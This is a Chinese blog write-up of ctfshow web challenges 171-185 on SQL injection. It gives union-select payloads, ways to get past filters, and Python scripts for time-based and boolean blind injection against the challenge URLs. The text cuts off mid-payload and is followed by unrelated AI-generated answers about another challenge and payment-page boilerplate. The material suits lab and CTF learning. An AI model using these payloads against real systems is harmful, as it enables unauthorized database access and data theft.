【ctfshow】web篇-SQL注入 wp

本文详细记录了一次ctfshow中关于SQL注入的系列挑战,涵盖多种绕过技巧,如联合查询、盲注、正则绕过、时间盲注、布尔盲注等。同时,深入介绍了UDF(用户自定义函数)在渗透测试中的作用和利用条件,包括如何利用UDF进行系统提权。文章以实例解析配合Python脚本,适合学习SQL注入及安全防护。
摘要由CSDN通过智能技术生成

前言

记录web的题目wp,慢慢变强,铸剑。

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), --空格,–+等,或者拼接语句不用注释也行

image-20210727052118542

  • 判断有3个字段
1' order by 3--+

image-20210727052202385

  • 联合查询,查表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210727052424376

  • 查字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

image-20210727052509428

  • 查flag
1' union select 1,2,password from ctfshow_user --+

image-20210727052648926

web172

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1' union select 1,2,password from ctfshow_user3--+

web174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      
  • 过滤了数字,考察replace的运用,先判断有几个字段
1' order by 2 %23

image-20210727091147187

  • 联合函数添加a和b两个数据ok

image-20210727091245501

  • 先构造一个replace将0-9全部置换
 select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

image-20210727091509981

  • 查表构造语句将1-0换成table_name
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

image-20210727091702800

  • 查字段名
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

image-20210727091826089

  • 查结果
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

image-20210727091848759

  • 写个小py来转换一下
import requests



flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'

flag=''
flag = flag + flagstr.replace('numA','1').\
    replace('numB','2')\
    .replace('numC','3')\
    .replace('numD','4')\
    .replace('numE','5')\
    .replace('numF','6')\
    .replace('numG','7')\
    .replace('numH','8')\
    .replace('numI','9')\
    .replace('numJ','0')



print(flag)

image-20210727091931245

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
   
      $ret['msg']='查询成功';
    }
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):
    for j in dict:
        payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{
     i},1)=\"{
     j}\",sleep(3),0)--+"
        res_get = url + payload
        start = time.time()
        res = requests.get(url=res_get)
        end = time.time()
        if end-start > 3:
            flag = flag + j
            print(flag)
            break

image-20210730095850795

web176

  • 发现是对select的过滤,但是没有过滤大小写
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
  • 字段
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
  • 查flag
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1' or 1=1--+

image-20210730101403056

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1'or(1=1)%23
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

web180

  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1.1'or(id='26')and'1=1

这个拼接之后的语句就是

select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1limit 1;
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1

web181

  • 和上题一样
1.1'or(id=26)and'a'='a

web182

  • 和上题一样
1.1'or(id=26)and'a'='a

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参

image-20210730124155127

  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests

url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    print('[*] 开始盲注第{}位'.format(i))
    for j in str:
        data = {
   
            "tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)
        }
        res = requests.post(url,data)
        if res.text.find("$user_count = 1")>0:
            flag += j
            print(flag)
            if j=="}":
                print('[*] flag is {}'.format(flag))
                exit()
            break


image-20210730132558687

web184

  • 这把过滤了where,我们用右连接来做
ctfshow% 的十六进制 为 0x63746673686F7725
  • 所以用他来匹配like,放出了空格
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
  • 写个py来跑flag
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binascii

def to_hex(s):
    #转十六进制
    str_16 = binascii.b2a_hex(s.encode('utf-8'))
    res = bytes.decode(str_16)
    return res

url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
     print('[*] 开始盲注第{}位'.format(i))
     for j in str:
        result = "0x" + to_hex(flag + j + "%")
        data = {
   
             "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)
        }
        res = requests.post(url,data)
        if "$user_count = 43" in res.text:
             flag += j
             print(flag)
             if j=="}":
                 print('[*] flag is {}'.format(flag))
                 exit()
             break

# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725

image-20210730140931041

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

select true+true;
结果是2
所以我们构造数字c来进行like匹配

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

image-20210730151426812

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤桜懶契

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值